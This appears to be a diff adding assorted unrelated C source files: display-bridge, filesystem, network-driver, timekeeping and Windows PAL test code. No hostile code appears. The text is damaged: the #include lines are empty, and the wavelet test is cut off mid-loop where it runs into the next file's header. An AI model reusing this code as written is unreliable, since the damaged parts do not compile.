cfg.dp_interface_ctrl = 0; + cfg.lvds_interface_ctrl1 = 0x00; + if (disp_con == PF_DISPLCON_LVDS_DUAL) + /* Turn on dual LVDS lane and clock. */ + cfg.lvds_interface_ctrl1 |= 0x0b; + if (color_depth == PF_COLOR_DEPTH_6BIT) + /* Use 18 bits per pixel. */ + cfg.lvds_interface_ctrl1 |= 0x20; + + /* No clock spreading, 300 mV LVDS swing. */ + cfg.lvds_interface_ctrl2 = 0x03; + /* No LVDS signal swap. */ + cfg.lvds_interface_ctrl3 = 0x00; + /* Delay T2 (VDD to LVDS active) by 16 ms. */ + cfg.t2_delay = 1; + /* 250 ms from LVDS to backlight active. */ + cfg.t3_timing = 10; + /* 1 second re-power delay. */ + cfg.t12_timing = 20; + /* 150 ms backlight off to LVDS inactive. */ + cfg.t4_timing = 3; + /* Delay T5 (LVDS to VDD inactive) by 16 ms. */ + cfg.t5_delay = 1; + /* Enable backlight control. */ + cfg.backlight_ctrl = 0; + + /* Write back configuration data to PTN3460. */ + for (i = 0; i < sizeof(struct ptn_3460_config); i++) { + status = i2c_writeb(PTN_I2C_CONTROLLER, PTN_SLAVE_ADR, + PTN_CONFIG_OFF+i, + *(((uint8_t *)&cfg)+i)); + if (status) + return (PTN_BUS_ERROR | status); + } + + /* Read PTN configuration data. */ + status = i2c_read_bytes(PTN_I2C_CONTROLLER, PTN_SLAVE_ADR, + PTN_CONFIG_OFF, (uint8_t *)&cfg, sizeof(cfg)); + if (status) + return (PTN_BUS_ERROR | status); + + return PTN_NO_ERROR; +} + +/** + * This function writes one Extended Display Identification Data (EDID) + * structure to PTN3460. + * + * @param edid_num Number of EDID that must be written (0..6). + * @param *data Pointer to a buffer where data to write is stored in. + * @return 0 on success or error code. + */ +int ptn3460_write_edid(uint8_t edid_num, const uint8_t data[PTN_EDID_LEN]) +{ + int status; + int i; + + if (edid_num > PTN_MAX_EDID_NUM) + return PTN_INVALID_EDID; + + /* First enable access to the desired EDID table. */ + status = i2c_writeb(PTN_I2C_CONTROLLER, PTN_SLAVE_ADR, + PTN_CONFIG_OFF + 5, edid_num); + if (status) + return (PTN_BUS_ERROR | status); + + /* Now we can simply write EDID-data to ptn3460. */ + for (i = 0; i < PTN_EDID_LEN; i++) { + status = i2c_writeb(PTN_I2C_CONTROLLER, PTN_SLAVE_ADR, + PTN_EDID_OFF + i, data[i]); + if (status) + return (PTN_BUS_ERROR | status); + } + + return PTN_NO_ERROR; +} + +/** + * This function selects one of 7 EDID-tables inside PTN3460 which should be + * emulated on DisplayPort and turn emulation ON. + * + * @param edid_num Number of EDID to emulate (0..6). + * @return 0 on success or error code. + */ +int ptn_select_edid(uint8_t edid_num) +{ + int status; + uint8_t val; + + if (edid_num > PTN_MAX_EDID_NUM) + return PTN_INVALID_EDID; + /* Enable emulation of the desired EDID table. */ + val = (edid_num << 1) | 1; + status = i2c_writeb(PTN_I2C_CONTROLLER, PTN_SLAVE_ADR, + PTN_CONFIG_OFF + 4, val); + if (status) + return (PTN_BUS_ERROR | status); + else + return PTN_NO_ERROR; +} diff --git a/pool/shard011/C/0141813_xip.c b/pool/shard011/C/0141813_xip.c new file mode 100644 index 0000000000000000000000000000000000000000..af014bb3fdfd38d011a1cc7d55ff6b85e91e5d43 --- /dev/null +++ b/pool/shard011/C/0141813_xip.c @@ -0,0 +1,93 @@ +/* + * linux/fs/ext2/xip.c + * + * Copyright (C) 2005 IBM Corporation + * Author: Carsten Otte (cotte@de.ibm.com) + */ + +#include +#include +#include +#include +#include +#include +#include +#include "ext2.h" +#include "xip.h" + +static inline int +__inode_direct_access(struct inode *inode, sector_t block, + void **kaddr, unsigned long *pfn) +{ + struct block_device *bdev = inode->i_sb->s_bdev; + const struct block_device_operations *ops = bdev->bd_disk->fops; + sector_t sector; + + sector = block * (PAGE_SIZE / 512); /* ext2 block to bdev sector */ + + BUG_ON(!ops->direct_access); + return ops->direct_access(bdev, sector, kaddr, pfn); +} + +static inline int +__ext2_get_block(struct inode *inode, pgoff_t pgoff, int create, + sector_t *result) +{ + struct buffer_head tmp; + int rc; + + memset(&tmp, 0, sizeof(struct buffer_head)); + tmp.b_size = 1 << inode->i_blkbits; + rc = ext2_get_block(inode, pgoff, &tmp, create); + *result = tmp.b_blocknr; + + /* did we get a sparse block (hole in the file)? */ + if (!tmp.b_blocknr && !rc) { + BUG_ON(create); + rc = -ENODATA; + } + + return rc; +} + +int +ext2_clear_xip_target(struct inode *inode, sector_t block) +{ + void *kaddr; + unsigned long pfn; + int rc; + + rc = __inode_direct_access(inode, block, &kaddr, &pfn); + if (!rc) + clear_page(kaddr); + return rc; +} + +void ext2_xip_verify_sb(struct super_block *sb) +{ + struct ext2_sb_info *sbi = EXT2_SB(sb); + + if ((sbi->s_mount_opt & EXT2_MOUNT_XIP) && + !sb->s_bdev->bd_disk->fops->direct_access) { + sbi->s_mount_opt &= (~EXT2_MOUNT_XIP); + ext2_msg(sb, KERN_WARNING, + "warning: ignoring xip option - " + "not supported by bdev"); + } +} + +int ext2_get_xip_mem(struct address_space *mapping, pgoff_t pgoff, int create, + void **kmem, unsigned long *pfn) +{ + int rc; + sector_t block; + + /* first, retrieve the sector number */ + rc = __ext2_get_block(mapping->host, pgoff, create, &block); + if (rc) + return rc; + + /* retrieve address of the target data */ + rc = __inode_direct_access(mapping->host, block, kmem, pfn); + return rc; +} diff --git a/pool/shard011/C/0141814_dhd_ip.c b/pool/shard011/C/0141814_dhd_ip.c new file mode 100644 index 0000000000000000000000000000000000000000..74ad1cb30732eb3c967ef34e313966959190092d --- /dev/null +++ b/pool/shard011/C/0141814_dhd_ip.c @@ -0,0 +1,113 @@ +/* + * IP Packet Parser Module. + * + * Copyright (C) 1999-2013, Broadcom Corporation + * + * Unless you and Broadcom execute a separate written software license + * agreement governing use of this software, this software is licensed to you + * under the terms of the GNU General Public License version 2 (the "GPL"), + * available at http://www.broadcom.com/licenses/GPLv2.php, with the + * following added to such license: + * + * As a special exception, the copyright holders of this software give you + * permission to link this software with independent modules, and to copy and + * distribute the resulting executable under terms of your choice, provided that + * you also meet, for each linked independent module, the terms and conditions of + * the license of that module. An independent module is a module which is not + * derived from this software. The special exception does not apply to any + * modifications of the software. + * + * Notwithstanding the above, under no circumstances may you combine this + * software in any way with any other Broadcom software provided under a license + * other than the GPL, without Broadcom's express prior written consent. + * + * Unless you and Broadcom execute a separate written software license + * agreement governing use of this software, this software is licensed to you + * under the terms of the GNU General Publi + * + * $Id$ + */ +#include +#include + +#include +#include +#include +#include +#include + +#include + +#include + +static const uint8 llc_snap_hdr[SNAP_HDR_LEN] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00}; + +pkt_frag_t pkt_frag_info(osl_t *osh, void *p) +{ + uint8 *frame; + int length; + uint8 *pt; + uint16 ethertype; + struct ipv4_hdr *iph; + int ipl; + uint16 iph_frag; + + ASSERT(osh && p); + + frame = PKTDATA(osh, p); + length = PKTLEN(osh, p); + + + if (length < ETHER_HDR_LEN) { + DHD_INFO(("%s: short eth frame (%d)\n", __FUNCTION__, length)); + return DHD_PKT_FRAG_NONE; + } else if (ntoh16(*(uint16 *)(frame + ETHER_TYPE_OFFSET)) >= ETHER_TYPE_MIN) { + + pt = frame + ETHER_TYPE_OFFSET; + } else if (length >= ETHER_HDR_LEN + SNAP_HDR_LEN + ETHER_TYPE_LEN && + !bcmp(llc_snap_hdr, frame + ETHER_HDR_LEN, SNAP_HDR_LEN)) { + pt = frame + ETHER_HDR_LEN + SNAP_HDR_LEN; + } else { + DHD_INFO(("%s: non-SNAP 802.3 frame\n", __FUNCTION__)); + return DHD_PKT_FRAG_NONE; + } + + ethertype = ntoh16(*(uint16 *)pt); + + + if (ethertype == ETHER_TYPE_8021Q) { + pt += VLAN_TAG_LEN; + + if (pt + ETHER_TYPE_LEN > frame + length) { + DHD_INFO(("%s: short VLAN frame (%d)\n", __FUNCTION__, length)); + return DHD_PKT_FRAG_NONE; + } + + ethertype = ntoh16(*(uint16 *)pt); + } + + if (ethertype != ETHER_TYPE_IP) { + DHD_INFO(("%s: non-IP frame (ethertype 0x%x, length %d)\n", + __FUNCTION__, ethertype, length)); + return DHD_PKT_FRAG_NONE; + } + + iph = (struct ipv4_hdr *)(pt + ETHER_TYPE_LEN); + ipl = length - (pt + ETHER_TYPE_LEN - frame); + + + if ((ipl < IPV4_OPTIONS_OFFSET) || (IP_VER(iph) != IP_VER_4)) { + DHD_INFO(("%s: short frame (%d) or non-IPv4\n", __FUNCTION__, ipl)); + return DHD_PKT_FRAG_NONE; + } + + iph_frag = ntoh16(iph->frag); + + if (iph_frag & IPV4_FRAG_DONT) { + return DHD_PKT_FRAG_NONE; + } else if ((iph_frag & IPV4_FRAG_MORE) == 0) { + return DHD_PKT_FRAG_LAST; + } else { + return (iph_frag & IPV4_FRAG_OFFSET_MASK)? DHD_PKT_FRAG_CONT : DHD_PKT_FRAG_FIRST; + } +} diff --git a/pool/shard011/C/0141815_file.c b/pool/shard011/C/0141815_file.c new file mode 100644 index 0000000000000000000000000000000000000000..4aaa98f5599c3cb0ac69773e8466669055dee4e1 --- /dev/null +++ b/pool/shard011/C/0141815_file.c @@ -0,0 +1,49 @@ + + +#include + +#include "fs.h" +#include "filedesc.h" +#include "namei.h" + + + +#define NFILES 128 + + +static struct file file_table[NFILES]; + + + +struct file *file_get(const char *path) +{ + u8 i = 0; + + for (; i < NFILES; i++) { + if (file_table[i].count == 0) + break; + } + + file_table[i].inode = namei(path); + if (file_table[i].inode == NULL) + return NULL; + + file_table[i].count = 1; + + return &file_table[i]; +} + + + +void init_files(void) +{ + u8 i; + + for (i = 0; i < NFILES; i++) + file_table[i].count = 0; + + return; +} + + + diff --git a/pool/shard011/C/0141816_wavelet.c b/pool/shard011/C/0141816_wavelet.c new file mode 100644 index 0000000000000000000000000000000000000000..b5588b15a8b10ae6b2022ffa03e9b6b31637c9e8 --- /dev/null +++ b/pool/shard011/C/0141816_wavelet.c @@ -0,0 +1,57 @@ +/* + * wavelet.c + * Investigating wavelet decomposition of some data. + * + * Programme part of Ripl test suite. + * Uses Ripl Wavelet Transform Toolbox. + * + * Ripl Version 1.1, last update: 31 January 1998. + * + * History: + * 31/1/98: modified to reflect changes to riplwave.h + * 30/1/98: modified to reflect changes to riplwave.h + * 26/1/98: changed filename. + * 25/1/98: first version. + * + * Copyright © 1998, Richard A. Cook. + */ +#include +#include +#include "riplwave.h" + +#define ROWS 8 +#define COLS 8 +#define SIZE (ROWS*COLS) + +#ifdef __BORLANDC__ +# pragma argsused +#endif +int main(int argc, char **argv) { + + unsigned long i; + float data[SIZE]; /* Our real data set. */ + riplwtFilter filter; /* Wavelet filter coefficients. */ + FILE *pfile; + + /* + * Initialize filter coefficients struct. + * Let's use a 12-coefficient Daubechies wavelet. + */ + riplwtSetupFilter(ftDaub12, &filter); + + /* Fill our data vector with some interesting (!) data. */ + for (i=0; i= 2000, new mktime + * 1995-03-26 Markus Kuhn + * fixed 500 ms bug at call to set_rtc_mmss, fixed DS12887 + * precision CMOS clock update + * 1996-05-03 Ingo Molnar + * fixed time warps in do_[slow|fast]_gettimeoffset() + * 1997-09-10 Updated NTP code according to technical memorandum Jan '96 + * "A Kernel Model for Precision Timekeeping" by Dave Mills + * + * Linux/CRIS specific code: + * + * Authors: Bjorn Wesen + * Johan Adolfsson + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* just for sched_clock() - funny that */ + +int have_rtc; /* used to remember if we have an RTC or not */; + +#define TICK_SIZE tick + +extern unsigned long loops_per_jiffy; /* init/main.c */ +unsigned long loops_per_usec; + + +#ifdef CONFIG_ARCH_USES_GETTIMEOFFSET +extern unsigned long do_slow_gettimeoffset(void); +static unsigned long (*do_gettimeoffset)(void) = do_slow_gettimeoffset; + +u32 arch_gettimeoffset(void) +{ + return do_gettimeoffset() * 1000; +} +#endif + +/* + * BUG: This routine does not handle hour overflow properly; it just + * sets the minutes. Usually you'll only notice that after reboot! + */ + +int set_rtc_mmss(unsigned long nowtime) +{ + int retval = 0; + int real_seconds, real_minutes, cmos_minutes; + + printk(KERN_DEBUG "set_rtc_mmss(%lu)\n", nowtime); + + if(!have_rtc) + return 0; + + cmos_minutes = CMOS_READ(RTC_MINUTES); + cmos_minutes = bcd2bin(cmos_minutes); + + /* + * since we're only adjusting minutes and seconds, + * don't interfere with hour overflow. This avoids + * messing with unknown time zones but requires your + * RTC not to be off by more than 15 minutes + */ + real_seconds = nowtime % 60; + real_minutes = nowtime / 60; + if (((abs(real_minutes - cmos_minutes) + 15)/30) & 1) + real_minutes += 30; /* correct for half hour time zone */ + real_minutes %= 60; + + if (abs(real_minutes - cmos_minutes) < 30) { + real_seconds = bin2bcd(real_seconds); + real_minutes = bin2bcd(real_minutes); + CMOS_WRITE(real_seconds,RTC_SECONDS); + CMOS_WRITE(real_minutes,RTC_MINUTES); + } else { + printk_once(KERN_NOTICE + "set_rtc_mmss: can't update from %d to %d\n", + cmos_minutes, real_minutes); + retval = -1; + } + + return retval; +} + +/* grab the time from the RTC chip */ + +unsigned long +get_cmos_time(void) +{ + unsigned int year, mon, day, hour, min, sec; + if(!have_rtc) + return 0; + + sec = CMOS_READ(RTC_SECONDS); + min = CMOS_READ(RTC_MINUTES); + hour = CMOS_READ(RTC_HOURS); + day = CMOS_READ(RTC_DAY_OF_MONTH); + mon = CMOS_READ(RTC_MONTH); + year = CMOS_READ(RTC_YEAR); + + sec = bcd2bin(sec); + min = bcd2bin(min); + hour = bcd2bin(hour); + day = bcd2bin(day); + mon = bcd2bin(mon); + year = bcd2bin(year); + + if ((year += 1900) < 1970) + year += 100; + + return mktime(year, mon, day, hour, min, sec); +} + + +int update_persistent_clock(struct timespec now) +{ + return set_rtc_mmss(now.tv_sec); +} + +void read_persistent_clock(struct timespec *ts) +{ + ts->tv_sec = get_cmos_time(); + ts->tv_nsec = 0; +} + + +extern void cris_profile_sample(struct pt_regs* regs); + +void +cris_do_profile(struct pt_regs* regs) +{ + +#ifdef CONFIG_SYSTEM_PROFILER + cris_profile_sample(regs); +#endif + +#ifdef CONFIG_PROFILING + profile_tick(CPU_PROFILING); +#endif +} + +unsigned long long sched_clock(void) +{ + return (unsigned long long)jiffies * (NSEC_PER_SEC / HZ) + + get_ns_in_jiffie(); +} + +static int +__init init_udelay(void) +{ + loops_per_usec = (loops_per_jiffy * HZ) / 1000000; + return 0; +} + +__initcall(init_udelay); diff --git a/pool/shard011/C/0141819_lisp_gpe_sub_interface.c b/pool/shard011/C/0141819_lisp_gpe_sub_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..5b69bd157b8e3da05fdbf6446ea3b2fe800a08b0 --- /dev/null +++ b/pool/shard011/C/0141819_lisp_gpe_sub_interface.c @@ -0,0 +1,278 @@ +/* + * Copyright (c) 2016 Cisco and/or its affiliates. + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +/** + * @file + * @brief LISP sub-interfaces. + * + */ +#include +#include +#include +#include + +/** + * @brief Pool of all l3-sub-interfaces + */ +static lisp_gpe_sub_interface_t *lisp_gpe_sub_interface_pool; + +/** + * A DB of all LISP L3 sub-interfaces. The key is:{VNI,l-RLOC} + */ +static uword *lisp_gpe_sub_interfaces; + +/** + * A DB of all VNET L3 sub-interfaces. The key is:{VNI,l-RLOC} + * Used in the data-plane for interface lookup on decap. + */ +uword *lisp_gpe_sub_interfaces_sw_if_index; + +/** + * The next available sub-interface ID. FIXME + */ +static u32 lisp_gpe_sub_interface_id; + + +static index_t +lisp_gpe_sub_interface_db_find (const ip_address_t * lrloc, u32 vni) +{ + uword *p; + + lisp_gpe_sub_interface_key_t key = { + .local_rloc = *lrloc, + .vni = clib_host_to_net_u32 (vni), + }; + + p = hash_get_mem (lisp_gpe_sub_interfaces, &key); + + if (NULL == p) + return (INDEX_INVALID); + else + return (p[0]); +} + +static void +lisp_gpe_sub_interface_db_insert (const lisp_gpe_sub_interface_t * l3s) +{ + hash_set_mem (lisp_gpe_sub_interfaces, + &l3s->key, l3s - lisp_gpe_sub_interface_pool); + hash_set_mem (lisp_gpe_sub_interfaces_sw_if_index, + &l3s->key, l3s->sw_if_index); +} + +static void +lisp_gpe_sub_interface_db_remove (const lisp_gpe_sub_interface_t * l3s) +{ + hash_unset_mem (lisp_gpe_sub_interfaces, &l3s->key); + hash_unset_mem (lisp_gpe_sub_interfaces_sw_if_index, &l3s->key); +} + +lisp_gpe_sub_interface_t * +lisp_gpe_sub_interface_get_i (index_t l3si) +{ + return (pool_elt_at_index (lisp_gpe_sub_interface_pool, l3si)); +} + +static void +lisp_gpe_sub_interface_set_table (u32 sw_if_index, u32 table_id) +{ + fib_node_index_t fib_index; + + fib_index = fib_table_find_or_create_and_lock (FIB_PROTOCOL_IP4, table_id); + ASSERT (FIB_NODE_INDEX_INVALID != fib_index); + + vec_validate (ip4_main.fib_index_by_sw_if_index, sw_if_index); + ip4_main.fib_index_by_sw_if_index[sw_if_index] = fib_index; + + fib_index = fib_table_find_or_create_and_lock (FIB_PROTOCOL_IP6, table_id); + ASSERT (FIB_NODE_INDEX_INVALID != fib_index); + + vec_validate (ip6_main.fib_index_by_sw_if_index, sw_if_index); + ip6_main.fib_index_by_sw_if_index[sw_if_index] = fib_index; +} + +static void +lisp_gpe_sub_interface_unset_table (u32 sw_if_index, u32 table_id) +{ + ip4_main.fib_index_by_sw_if_index[sw_if_index] = 0; + ip4_sw_interface_enable_disable (sw_if_index, 0); + + ip6_main.fib_index_by_sw_if_index[sw_if_index] = 0; + ip6_sw_interface_enable_disable (sw_if_index, 0); +} + +index_t +lisp_gpe_sub_interface_find_or_create_and_lock (const ip_address_t * lrloc, + u32 overlay_table_id, u32 vni) +{ + lisp_gpe_sub_interface_t *l3s; + index_t l3si; + + l3si = lisp_gpe_sub_interface_db_find (lrloc, clib_host_to_net_u32 (vni)); + + if (INDEX_INVALID == l3si) + { + u32 main_sw_if_index, sub_sw_if_index; + + /* + * find the main interface from the VNI + */ + main_sw_if_index = + lisp_gpe_tenant_l3_iface_add_or_lock (vni, overlay_table_id); + + vnet_sw_interface_t sub_itf_template = { + .type = VNET_SW_INTERFACE_TYPE_SUB, + .flood_class = VNET_FLOOD_CLASS_NORMAL, + .sup_sw_if_index = main_sw_if_index, + .sub.id = lisp_gpe_sub_interface_id++, + }; + + if (NULL != vnet_create_sw_interface (vnet_get_main (), + &sub_itf_template, + &sub_sw_if_index)) + return (INDEX_INVALID); + + pool_get (lisp_gpe_sub_interface_pool, l3s); + memset (l3s, 0, sizeof (*l3s)); + l3s->key = clib_mem_alloc (sizeof (*l3s->key)); + memset (l3s->key, 0, sizeof (*l3s->key)); + + l3s->key->local_rloc = *lrloc; + l3s->key->vni = clib_host_to_net_u32 (vni); + l3s->main_sw_if_index = main_sw_if_index; + l3s->sw_if_index = sub_sw_if_index; + l3s->eid_table_id = overlay_table_id; + + l3si = (l3s - lisp_gpe_sub_interface_pool); + + // FIXME. enable When we get an adj + ip6_sw_interface_enable_disable (l3s->sw_if_index, 1); + ip4_sw_interface_enable_disable (l3s->sw_if_index, 1); + + vnet_sw_interface_set_flags (vnet_get_main (), + l3s->sw_if_index, + VNET_SW_INTERFACE_FLAG_ADMIN_UP); + + lisp_gpe_sub_interface_db_insert (l3s); + } + else + { + l3s = lisp_gpe_sub_interface_get_i (l3si); + l3s->eid_table_id = overlay_table_id; + } + + lisp_gpe_sub_interface_set_table (l3s->sw_if_index, l3s->eid_table_id); + l3s->locks++; + + return (l3si); +} + +void +lisp_gpe_sub_interface_unlock (index_t l3si) +{ + lisp_gpe_sub_interface_t *l3s; + + l3s = lisp_gpe_sub_interface_get_i (l3si); + + l3s->locks--; + + if (0 == l3s->locks) + { + lisp_gpe_sub_interface_unset_table (l3s->sw_if_index, + l3s->eid_table_id); + + lisp_gpe_tenant_l3_iface_unlock (clib_net_to_host_u32 (l3s->key->vni)); + vnet_sw_interface_set_flags (vnet_get_main (), l3s->sw_if_index, 0); + vnet_delete_sub_interface (l3s->sw_if_index); + + lisp_gpe_sub_interface_db_remove (l3s); + + clib_mem_free (l3s->key); + pool_put (lisp_gpe_sub_interface_pool, l3s); + } +} + +const lisp_gpe_sub_interface_t * +lisp_gpe_sub_interface_get (index_t l3si) +{ + return (lisp_gpe_sub_interface_get_i (l3si)); +} + +u8 * +format_lisp_gpe_sub_interface (u8 * s, va_list ap) +{ + lisp_gpe_sub_interface_t *l3s = va_arg (ap, lisp_gpe_sub_interface_t *); + vnet_main_t *vnm = vnet_get_main (); + + s = format (s, "%=16U", + format_vnet_sw_interface_name, + vnm, vnet_get_sw_interface (vnm, l3s->sw_if_index)); + s = format (s, "%=10d", clib_net_to_host_u32 (l3s->key->vni)); + s = format (s, "%=12d", l3s->sw_if_index); + s = format (s, "%U", format_ip_address, &l3s->key->local_rloc); + + return (s); +} + +/** CLI command to show LISP-GPE interfaces. */ +static clib_error_t * +lisp_gpe_sub_interface_show (vlib_main_t * vm, + unformat_input_t * input, + vlib_cli_command_t * cmd) +{ + lisp_gpe_sub_interface_t *l3s; + + vlib_cli_output (vm, "%=16s%=10s%=12s%s", "Name", "VNI", "SW IF Index", + "local RLOC"); + + /* *INDENT-OFF* */ + pool_foreach (l3s, lisp_gpe_sub_interface_pool, + ({ + vlib_cli_output (vm, "%U", format_lisp_gpe_sub_interface, l3s); + })); + /* *INDENT-ON* */ + + return 0; +} + +/* *INDENT-OFF* */ +VLIB_CLI_COMMAND (lisp_gpe_sub_interface_command) = { + .path = "show lisp gpe sub-interface", + .short_help = "show lisp gpe sub-interface", + .function = lisp_gpe_sub_interface_show, +}; +/* *INDENT-ON* */ + +static clib_error_t * +lisp_gpe_sub_interface_module_init (vlib_main_t * vm) +{ + lisp_gpe_sub_interfaces = + hash_create_mem (0, + sizeof (lisp_gpe_sub_interface_key_t), sizeof (uword)); + lisp_gpe_sub_interfaces_sw_if_index = + hash_create_mem (0, + sizeof (lisp_gpe_sub_interface_key_t), sizeof (uword)); + + return (NULL); +} + +VLIB_INIT_FUNCTION (lisp_gpe_sub_interface_module_init); + +/* + * fd.io coding-style-patch-verification: ON + * + * Local Variables: + * eval: (c-set-style "gnu") + * End: + */ diff --git a/pool/shard011/C/0141820_xstat.c b/pool/shard011/C/0141820_xstat.c new file mode 100644 index 0000000000000000000000000000000000000000..a438fbcc69e1f48ab9996a0a062baa0603b1405e --- /dev/null +++ b/pool/shard011/C/0141820_xstat.c @@ -0,0 +1,112 @@ +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include +#include +#include +#include +#include + +#include "nfslib.h" +#include "xstat.h" + +#ifdef HAVE_FSTATAT +#ifdef HAVE_STATX + +static void +statx_copy(struct stat *stbuf, const struct statx *stxbuf) +{ + stbuf->st_dev = makedev(stxbuf->stx_dev_major, stxbuf->stx_dev_minor); + stbuf->st_ino = stxbuf->stx_ino; + stbuf->st_mode = stxbuf->stx_mode; + stbuf->st_nlink = stxbuf->stx_nlink; + stbuf->st_uid = stxbuf->stx_uid; + stbuf->st_gid = stxbuf->stx_gid; + stbuf->st_rdev = makedev(stxbuf->stx_rdev_major, stxbuf->stx_rdev_minor); + stbuf->st_size = stxbuf->stx_size; + stbuf->st_blksize = stxbuf->stx_blksize; + stbuf->st_blocks = stxbuf->stx_blocks; + stbuf->st_atim.tv_sec = stxbuf->stx_atime.tv_sec; + stbuf->st_atim.tv_nsec = stxbuf->stx_atime.tv_nsec; + stbuf->st_mtim.tv_sec = stxbuf->stx_mtime.tv_sec; + stbuf->st_mtim.tv_nsec = stxbuf->stx_mtime.tv_nsec; + stbuf->st_ctim.tv_sec = stxbuf->stx_ctime.tv_sec; + stbuf->st_ctim.tv_nsec = stxbuf->stx_ctime.tv_nsec; +} + +static int +statx_do_stat(int fd, const char *pathname, struct stat *statbuf, int flags) +{ + static int statx_supported = 1; + struct statx stxbuf; + int ret; + + if (statx_supported) { + ret = statx(fd, pathname, flags, + STATX_BASIC_STATS, + &stxbuf); + if (ret == 0) { + statx_copy(statbuf, &stxbuf); + return 0; + } + /* glibc emulation doesn't support AT_STATX_DONT_SYNC */ + if (errno == EINVAL) + errno = ENOSYS; + if (errno == ENOSYS) + statx_supported = 0; + } else + errno = ENOSYS; + return -1; +} + +static int +statx_stat_nosync(int fd, const char *pathname, struct stat *statbuf, int flags) +{ + return statx_do_stat(fd, pathname, statbuf, flags | AT_STATX_DONT_SYNC); +} + +#else + +static int +statx_stat_nosync(int UNUSED(fd), const char *UNUSED(pathname), struct stat *UNUSED(statbuf), int UNUSED(flags)) +{ + errno = ENOSYS; + return -1; +} + +#endif /* HAVE_STATX */ + +int xlstat(const char *pathname, struct stat *statbuf) +{ + if (statx_stat_nosync(AT_FDCWD, pathname, statbuf, AT_NO_AUTOMOUNT| + AT_SYMLINK_NOFOLLOW) == 0) + return 0; + else if (errno != ENOSYS) + return -1; + return fstatat(AT_FDCWD, pathname, statbuf, AT_NO_AUTOMOUNT | + AT_SYMLINK_NOFOLLOW); +} + +int xstat(const char *pathname, struct stat *statbuf) +{ + if (statx_stat_nosync(AT_FDCWD, pathname, statbuf, AT_NO_AUTOMOUNT) == 0) + return 0; + else if (errno != ENOSYS) + return -1; + return fstatat(AT_FDCWD, pathname, statbuf, AT_NO_AUTOMOUNT); +} + +#else + +int xlstat(const char *pathname, struct stat *statbuf) +{ + return lstat(pathname, statbuf); +} + +int xstat(const char *pathname, struct stat *statbuf) +{ + return stat(pathname, statbuf); +} +#endif diff --git a/pool/shard011/C/0141821_GetFileSizeEx.c b/pool/shard011/C/0141821_GetFileSizeEx.c new file mode 100644 index 0000000000000000000000000000000000000000..9d1c876a9a0a05f0ffe4c92a2d8547f9cbeb8a2d --- /dev/null +++ b/pool/shard011/C/0141821_GetFileSizeEx.c @@ -0,0 +1,172 @@ +// +// Copyright (c) Microsoft. All rights reserved. +// Licensed under the MIT license. See LICENSE file in the project root for full license information. +// + +/*===================================================================== +** +** Source: GetFileSizeEx.c (test 1) +** +** Purpose: Tests the PAL implementation of the GetFileSizeEx function. +** +** +**===================================================================*/ + +#include + +const char* szTextFile = "text.txt"; + +void CleanUp(HANDLE hFile) +{ + if (CloseHandle(hFile) != TRUE) + { + Fail("GetFileSizeEx: ERROR -> Unable to close file \"%s\".\n", + szTextFile); + } + if (!DeleteFileA(szTextFile)) + { + Fail("GetFileSizeEx: ERROR -> Unable to delete file \"%s\".\n", + szTextFile); + } +} + +void CheckFileSize(HANDLE hFile, DWORD dwOffset, DWORD dwHighOrder) +{ + DWORD dwRc = 0; + DWORD dwError = 0; + LARGE_INTEGER qwFileSize; + + dwRc = SetFilePointer(hFile, dwOffset, (PLONG)&dwHighOrder, FILE_BEGIN); + if (dwRc == INVALID_SET_FILE_POINTER) + { + Trace("GetFileSizeEx: ERROR -> Call to SetFilePointer failed with %ld.\n", + GetLastError()); + CleanUp(hFile); + Fail(""); + } + else + { + if (!SetEndOfFile(hFile)) + { + dwError = GetLastError(); + CleanUp(hFile); + if (dwError == 112) + { + Fail("GetFileSizeEx: ERROR -> SetEndOfFile failed due to lack of " + "disk space\n"); + } + else + { + Fail("GetFileSizeEx: ERROR -> SetEndOfFile call failed " + "with error %ld\n", dwError); + } + } + else + { + GetFileSizeEx(hFile, &qwFileSize); + if ((qwFileSize.u.LowPart != dwOffset) || + (qwFileSize.u.HighPart != dwHighOrder)) + { + CleanUp(hFile); + Fail("GetFileSizeEx: ERROR -> File sizes do not match up.\n"); + } + } + } +} + +int __cdecl main(int argc, char *argv[]) +{ + HANDLE hFile = NULL; + BOOL bRc = FALSE; + DWORD lpNumberOfBytesWritten; + LARGE_INTEGER qwFileSize; + LARGE_INTEGER qwFileSize2; + char * data = "1234567890"; + + qwFileSize.QuadPart = 0; + qwFileSize2.QuadPart = 0; + + if (0 != PAL_Initialize(argc,argv)) + { + return FAIL; + } + + + /* test on a null file */ + bRc = GetFileSizeEx(NULL, &qwFileSize); + if (bRc != FALSE) + { + Fail("GetFileSizeEx: ERROR -> Returned status as TRUE for " + "a null handle.\n"); + } + + + /* test on an invalid file */ + bRc = GetFileSizeEx(INVALID_HANDLE_VALUE, &qwFileSize); + if (bRc != FALSE) + { + Fail("GetFileSizeEx: ERROR -> Returned status as TRUE for " + "an invalid handle.\n"); + } + + + /* create a test file */ + hFile = CreateFile(szTextFile, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL); + + if(hFile == INVALID_HANDLE_VALUE) + { + Fail("GetFileSizeEx: ERROR -> Unable to create file \"%s\".\n", + szTextFile); + } + + /* give the file a size */ + CheckFileSize(hFile, 256, 0); + + /* make the file large using the high order option */ + CheckFileSize(hFile, 256, 1); + + + /* set the file size to zero */ + CheckFileSize(hFile, 0, 0); + + /* test if file size changes by writing to it. */ + /* get file size */ + GetFileSizeEx(hFile, &qwFileSize); + + /* test writing to the file */ + if(WriteFile(hFile, data, strlen(data), &lpNumberOfBytesWritten, NULL)==0) + { + Trace("GetFileSizeEx: ERROR -> Call to WriteFile failed with %ld.\n", + GetLastError()); + CleanUp(hFile); + Fail(""); + } + + /* make sure the buffer flushed.*/ + if(FlushFileBuffers(hFile)==0) + { + Trace("GetFileSizeEx: ERROR -> Call to FlushFileBuffers failed with %ld.\n", + GetLastError()); + CleanUp(hFile); + Fail(""); + } 